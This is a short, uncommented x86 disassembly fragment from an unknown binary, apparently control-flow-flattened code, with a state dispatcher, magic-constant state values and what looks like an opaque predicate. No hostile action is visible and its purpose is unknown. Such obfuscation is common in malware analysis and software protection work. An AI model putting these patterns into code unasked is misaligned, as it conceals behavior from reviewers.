mov eax, 0x63338662
jmp 0x441ad4
push 1
push 0xa
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x114], eax
mov dword [esi + 4], 0xabf48849
jmp 0x43c5f4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xac], eax
mov dword [esi + 4], 0x866b7bf9
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 9
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7b83
dec edx
mov eax, 0x48ef760
cmp edx, ecx
je 0x441ad4
mov eax, 0xa0844262
mov dword [esi + 4], eax
jmp 0x43c5f4
cmp eax, 0x73991739
je 0x441b25
jmp 0x43c5f4
imul eax, dword [esi + 8], 0x87
add eax, 0xffffebf6
jmp 0x441b02
imul eax, dword [esi + 8], 0x22740
add eax, 0x669cb
mov dword [esi + 8], eax
jmp 0x43c5ed
mov eax, dword [esi + 8]
lea eax, [eax*8 + 0xcb0]
shr eax, 0xa
imul eax, eax, 0x4d90
mov dword [esi + 8], eax
jmp 0x43c5ed
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret